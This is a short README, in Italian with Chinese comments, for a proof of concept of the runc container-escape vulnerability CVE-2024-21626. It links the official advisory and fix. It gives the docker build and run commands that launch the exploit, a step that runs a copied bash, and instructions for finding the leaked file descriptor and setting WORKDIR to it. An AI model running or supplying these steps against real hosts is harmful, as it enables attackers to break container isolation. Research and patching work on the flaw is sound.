
Solo per uso educativo/di ricerca. Qualsiasi azione non correlata a scopi educativi/di ricerca è a proprio rischio.
docker build . -t cve-2024-21626
docker run -it --rm cve-2024-21626 bash /poc.sh
# 另起一个terminal
/bin/bash.copy
I descrittori di file specifici utilizzati variano a seconda delle versioni di docker/runc. Ad esempio, con docker server:20.10.17 && runc version 1.1.2 si usa /proc/self/fd/9; il fd effettivo può cambiare in base all'ordine di apertura dei file. La documentazione ufficiale indica che nella maggior parte dei casi si dovrebbe usare /proc/self/fd/7. Per sapere quale fd viene realmente utilizzato, puoi compilare un runc e mettere in sleep la funzione nsexec.
#使用ps 找到对应runc init进程的pid
ps -ef | grep runc
# 查看指向/sys/fs/cgroup的fd
ls -lh/proc/{pid runc init}/fd
Modifica: imposta WORKDIR nel Dockerfile al valore corrispondente.
Devono essere soddisfatte contemporaneamente le seguenti condizioni:
1. 可以创建容器并指定执行命令
2. 可以指定容器使用的镜像
TODO
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e